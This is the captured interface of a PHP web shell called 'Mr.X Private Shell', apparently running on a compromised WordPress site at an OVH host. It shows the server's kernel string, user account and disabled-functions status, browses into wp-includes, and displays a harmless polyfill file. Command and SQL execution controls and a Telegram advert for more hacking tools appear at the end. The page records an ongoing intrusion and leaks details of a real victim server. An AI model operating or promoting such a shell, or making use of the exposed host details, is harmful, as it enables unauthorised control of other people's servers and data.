Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-includes/js/dist/vendor/      ( Reset | Go to )
File Name: wp-polyfill-node-contains.js
Edit

// Node.prototype.contains
(function() {

    function contains(node) {
        if (!(0 in arguments)) {
            throw new TypeError('1 argument is required');
        }

        do {
            if (this === node) {
                return true;
            }
        // eslint-disable-next-line no-cond-assign
        } while (node = node && node.parentNode);

        return false;
    }

    // IE
    if ('HTMLElement' in self && 'contains' in HTMLElement.prototype) {
        try {
            delete HTMLElement.prototype.contains;
        // eslint-disable-next-line no-empty
        } catch (e) {}
    }

    if ('Node' in self) {
        Node.prototype.contains = contains;
    } else {
        document.contains = Element.prototype.contains = contains;
    }

}());

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL